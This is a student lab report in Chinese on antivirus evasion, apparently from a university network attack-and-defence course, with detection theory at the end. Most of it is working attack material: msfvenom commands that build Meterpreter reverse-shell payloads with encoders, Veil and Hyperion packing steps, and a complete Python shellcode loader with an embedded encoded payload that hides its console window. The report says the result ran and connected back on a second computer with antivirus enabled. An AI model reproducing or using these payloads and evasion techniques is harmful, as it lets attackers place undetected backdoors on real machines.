zoukankan      html  css  js  c++  java
  • 20181225周凌霄网络对抗实验三

    exp3——免杀原理

    一、实践目标

    1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

    2、学会veil,加壳工具

    3、学会使用C + shellcode编程

    4、通过组合应用各种技术实现恶意代码免杀

    附加:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    二、实验过程

    A.使用msfvenom生成如jar之类的其他文件

    Ⅰ、多次编码生成exe文件

    1、检测实验2中生成的后门程序

    https://www.virscan.org/

    扫描结果危险

    2、编码一次

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘x00’

    LHOST=192.168.31.228 LPORT=11225 -f exe > shell1.exe

    3、编码十次

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘x00’

    LHOST=192.168.31.228 LPORT=11225 -f exe > shell10.exe

    再次扫描文件

    -e选择编码器,-b是payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode

    中,因为shellcode以'x00'为结束符,-i设置迭代次数

    Ⅱ、生成jar文件

    msfvenom -p java/shell_reverse_tcp LHOST=192.168.31.228 LPORT=11225 -f jar >

    shell.jar

    检测结果

    Ⅲ、生成php文件

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.228 LPORT=11225 x>

    shell.php

    检测结果

    B、使用veil,加壳工具

    Ⅰ、veil

    1、下载

    sudo apt-get install veil-evasion

    下载成功后

    cd /usr/share/veil/config

    vim setup.sh

    将250行左右的内容修改为 sudo git clone https://gitee.com/spears/VeilDependencies.git

    修改成功后

    veil

    等待安装

    经过一系列的过程——安装成功!

    2、使用

    veil

    use evasion

    use c/meterpreter/rev_tcp.py

    set LHOST 192.168.56.101

    set LPORT 11204

    generate

    设置成功!

    检测结果

    Ⅱ、加壳

    upx 1225.exe -o shell10_upx.exe

    检测结果

    C、使用c+ shellcode编程

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=11204 -f

    c

    int main()

    {

    int (*func)() = (int(*)())buf;

    func();

    }

    i686-w64-mingw32-g++shell_c.c-oshell_c.exe

    检测结果

    D、通过组合应用各种技术实现恶意代码免杀

    Ⅰ、c+shellcode+Hyperion

    wget

    https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hype

    rion-2.2.zip

    下载Hyperion2.2

    unzip Hyperion-2.2.zip

    修改第一行内容为i686-w64-mingw32-gcc

    make

    加壳

    wine hyperion.exe -v shell_c.exe shell_c_hyperion.exe

    检测结果

    Ⅱ、python+shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=11204 -e

    x86/shikata_ga_nai -f py > shell.py

    生成shell.py

    修改如下

    from ctypes import *
    
    import ctypes
    
    buf =  ""
    
    buf += "xbbx7ax62x0ax22xdbxc9xd9x74x24xf4x58x29"
    
    buf += "xc9xb1x97x31x58x15x03x58x15x83xe8xfcxe2"
    
    buf += "x8fxdcx50xbcx22x5dxbfx0cx65xe9x1bx79xcd"
    
    buf += "x39xadx30x7cx0cx5dx21xfdx87x61x46x2bxc8"
    
    buf += "x35xc0x38x81xbfxd5xb9xd7x14x0cxcbx00x79"
    
    buf += "x12x5dxd0xb1xeexfex06x1dx51x8ax92x29xd2"
    
    buf += "xa4x4cxd0x08x22xdcx4fx24xb2x2bx2bxdax00"
    
    buf += "x5fxa3x1dx01xfexe9xf2x62xebxa7x46x63xce"
    
    buf += "xacx45xe4x8bxa1xa3x85x14xe1x1ex06xa7x6e"
    
    buf += "x7ax03xe7x05xd2x41x32x24x3cx48x72xf2x57"
    
    buf += "x0fx58x58x5cxf6xd5x0fx5bx6bxcax34xddx5d"
    
    buf += "xe0x62x5axc2xdex3dxdcxb3xf0x3ex78x31x90"
    
    buf += "x6cx5fx58xeex84xb0x30x87x60xecx58x25xad"
    
    buf += "x4ax6bxc6xb7xd8x70xb8x2fxc8xd9xcfxecx10"
    
    buf += "xcbx67x90xf2xdfxf2x4axf3x23xf6xd1x12xa5"
    
    buf += "xfbx10xa9x56x4exd0xdcx10x21x1dxb5x58x17"
    
    buf += "xe1x6dx69x74xc7xacx58x1axc9xf7x00xf8x54"
    
    buf += "x76x05x6dxd4x9ex9cx22xdbx0fxa9xfaxe3x8b"
    
    buf += "x8ex1ax1fx60xdbxbexefx2fx73xa5x42x02x93"
    
    buf += "x89x0fx42xfaxaexb9x9bxecxe2x53x56x38x51"
    
    buf += "x45x6fxb8xd2xffx3ax73x44xe4x38x38xf2x28"
    
    buf += "x76xf0xcax34x80x35x55x83xadx29x23x8axca"
    
    buf += "x07xcfx88x30x15x2exc0x99x1exddxb6xbbx49"
    
    buf += "x92x1ex9axddxcfx58xe9x84x66x3dx38xfcx28"
    
    buf += "x99xa4x19x09xe6x1cxf5xadx4fxa1x81xbfx51"
    
    buf += "x3dx0bx9ex27x60x20x7dx59x6ex82x7cx25x5c"
    
    buf += "x4ex34x25xedxc3xb1x45x02x92x75xf5x11xa5"
    
    buf += "x54xdcx1bx6fx9bx56xd2xb5x80x66xcfxe1x61"
    
    buf += "xd1x01xe4x31x52xd9x5bx01x37x29xa8xefxc8"
    
    buf += "x53x9bx1cx47x30x9exe4x6axdaxb3xd5xfdxf5"
    
    buf += "xb8x13xbcx92xbbxb4x82x70x02xadxefx3bx70"
    
    buf += "xf4x98x84x31x52x97x60x2bx2ex84x9bx7fxb7"
    
    buf += "x30x85x58xefx8cx95xa0x56x2fxefx20x61x0d"
    
    buf += "x94x66xbfxa7xd0x71x56x52x82xb1xa0x19xe4"
    
    buf += "x7exd9x90x96x2bx16xeax4cxdexcdx05x23x6e"
    
    buf += "xc2x4bxc0x68x1bxbaxc1x1dxcax26x74xd1x92"
    
    buf += "x4exd3x70x8ax43x41xbex59xf1x20x33x89xb9"
    
    buf += "x2bxdbx9ax0fxadx8dx80x4cx78x52xe7x0axf7"
    
    buf += "x47xd8x5cx0cx3cxd4x0dx3dxe7xbdx2dx22xb1"
    
    buf += "x37x0axd9x5exf2xd5xd2x56xe0x56x1cx42xc3"
    
    buf += "x75x92x55x7cx86x6axb4xcdx3axcex4dxeax4f"
    
    buf += "xa4x31xc6xe0x16x27xa5xf4x9dx79x5exfcx60"
    
    buf += "xebxefx35x33x6ex5bx6dxecx8fx9bx1exb1xf6"
    
    buf += "x35xebx1fx3bxabx99x9ax34x2axf8x25x38xba"
    
    buf += "x40xe9xb0x51xbcxdfx60x16x62xc3x63x64xbd"
    
    buf += "xb5x28xf6x4cx71xd2x01x74x11xf0xd7xcdx4f"
    
    buf += "x34xadxc2x65x4cxebx78xc1xbfxbax80x6cx46"
    
    buf += "x6ax15x15x03x5ex8dx65x8ex69x89x29x7fx67"
    
    buf += "xeaxc1x6bx62xb0xd4"
    
     
    
    #libc = CDLL('libc.so.6')
    
    PROT_READ = 1
    
    PROT_WRITE = 2
    
    PROT_EXEC = 4
    
    def executable_code(buffer):
    
        buf = c_char_p(buffer)
    
        size = len(buffer)
    
        addr = libc.valloc(size)
    
        addr = c_void_p(addr)
    
        if 0 == addr: 
    
            raise Exception("Failed to allocate memory")
    
        memmove(addr, buf, size)
    
        if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
    
            raise Exception("Failed to set protection on buffer")
    
        return addr
    
    VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
    
    VirtualProtect = ctypes.windll.kernel32.VirtualProtect
    
    shellcode = bytearray(buf)
    
    whnd = ctypes.windll.kernel32.GetConsoleWindow()   
    
    if whnd != 0:
    
           if 666==666:
    
                  ctypes.windll.user32.ShowWindow(whnd, 0)   
    
                  ctypes.windll.kernel32.CloseHandle(whnd)
    
    print ".................................."*666
    
    memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
    
                                              ctypes.c_int(len(shellcode)),
    
                                              ctypes.c_int(0x3000),
    
                                              ctypes.c_int(0x40))
    
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    
    old = ctypes.c_long(1)
    
    VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
    
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
    
                                         buf,
    
                                         ctypes.c_int(len(shellcode)))
    
    shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
    
    print "Code By Luan"
    
    shell()
    

    在windowsx86上安装支持python的环境,下载pywin32 解压运行,一直点下一步就可以了

    然后下载支持将python生成exe的软件pyinstall ,解压然后执行以下命令:

    D:mianshapyinstaller-2.0>python PyInstaller.py --console --onefile  shell_p_zlx.py
    

    E、用另一电脑实测,在杀软开启的情况下,可运行并回连成功

    1、这里首先要将另 fangs一台电脑和虚拟机ping通,我们可以把网络模式改为桥接方式然后获得我们的ip地址

    2、用Msfvenom生成raw格式的shellcode

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.31.228 lport=1225 -f raw -o zlx1225.raw

    image-20210406162522710

    3、msfconsole开始监听

    代码同实验二

    4、在shellcode_launcher-master文件打开cmd,运行指令shellcode_launcher.exe -i zlx1225.raw

    shellcode_launcher.exe -i zlx1225.raw

    三、基础问题回答

    (1)杀软是如何检测出恶意代码的?

    1.基于特征码的检测

    在扫描程序工作后根据特征文件中的特征字符串,进行与待检测文件的扫描匹配,是检测已

    知恶意代码的最主要方法。

    2.启发式恶意软件检测

    根据片面特征去推断(看起来像),通常缺乏精确判断依据不需要及时更新,具有通用型;

    但实时监控系统行为开销稍大,没有基于特征码的精确度高。

    3.基于行为的恶意软件检测

    基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式让软件运行,记录其

    行为并分析(杀软的工作原理)。

    4.完整性检测

    通过hash值来判断文件是否被篡改。

    5.云查杀技术

    采用引擎加云上特征库的方式,用最小的资源来对病毒进行查杀。

    6.基于人工智能的检测技术

    利用数据挖掘等人工智能算法,区分恶意代码与正常代码的行为特征,并形成特征知识库,

    新的未知代码经过系统评判和学习后,通过分类器的进一步操作将其划入某一个分类。

    (2)免杀是做什么?

    免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的。 简单的说:杀毒软件的原理是匹配特征码,而免杀的目的就是要修改这些特征码。

    (3)免杀的基本方法有哪些?

    【—.入口点加1免杀法:】
    1.用到工具PEditor
    2特点:非常简单实用,但有时还会被卡巴查杀]
    3.操作要点:用PEditor打开无壳木马程序,把原入口点加1即可
    【二.变化入口地址免杀法:】
    1.用到工具:OllyDbg,PEditor
    2特点:操作也比较容易,而且免杀效果比入口点加1点要佳.
    3.操作要点:用OD载入无壳的木马程序,把入口点的前二句移到零区域去执行,然后又跳回到入口点的下面第三句继续执行.最后用PEditor把入口点改成零区域的地址
    【三.加花指令法免杀法:】
    1.用到工具:OllyDbg,PEditor
    2.特点:免杀通用性非常好,加了花指令后,就基本达到大量杀毒软件的免杀.3.操作要点:用OD打开无壳的木马程序,找到零区域,把我们准备好的花指令填进去
    填好后又跳回到入口点,保存好后,再用PEditor把入口点改成零区域处填入花指令的着地址.

    【四.加壳或加伪装壳免杀法:】
    1.用到工具:一些冷门壳,或加伪装壳的工具,比如木马彩衣等.
    ⒉.特点:操作简单化,但免杀的时间不长,可能很快被杀,也很难躲过卡巴的追杀
    3.操作要点:为了达到更好的免杀效果可采用多重加壳,或加了壳后在加伪装壳的免杀效果更
    【五.打乱壳的头文件或壳中加花免杀法:)】
    1.用到工具:秘密行动,UPX加壳工具.
    2特点:操作也是傻瓜化,免杀效果也正当不错,特别对卡巴的免杀效果非常好
    3.操作要点:首先一定要把没加过壳的木马程序用UPX加层壳,然后用秘密行动这款工具中的SCramble功能进行把UPX壳的头文件打乱,从而达到免杀效果.
    【六.修改文件特征码免杀法:】
    1.用到工具:特征码定位器,OllyDbg
    ⒉特点:操作较复杂,要定位修改一系列过程,而且只针对每种杀毒软件的免杀,要达到多种杀毒软件的免杀,必需修改各种杀毒软件的特征码.但免杀效果好

    四、实验体会和心得

    通过这次免杀测试,我学会使用了veil工具,和加壳工具,我深刻体会到杀毒软件例如windows defender还是有很大作用的,能减少主机被植入恶意程序和后门,也对后门植入的防范和方法有了更深的理解,植入后门会让我们的电脑收到很多威胁。

  • 相关阅读:
    容器跨主机网络通信学习笔记(以Flannel为例)
    Kubernetes控制器Job和CronJob
    记一次使用Flannel插件排错历程
    Kubernetes控制器Deployment
    Kubernetes如何通过StatefulSet支持有状态应用?
    react18 来了,我 get 到...
    gojs 实用高级用法
    vuecli3 vue2 保留 webpack 支持 vite 成功实践
    calibre 报错 This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem. 解决
    unable to recognize "*.yaml": no matches for kind "RoleBinding" in version "rbac.authorization.k8s.io/v1beta1"
  • 原文地址:https://www.cnblogs.com/20181225zlx/p/14608722.html
Copyright © 2011-2022 走看看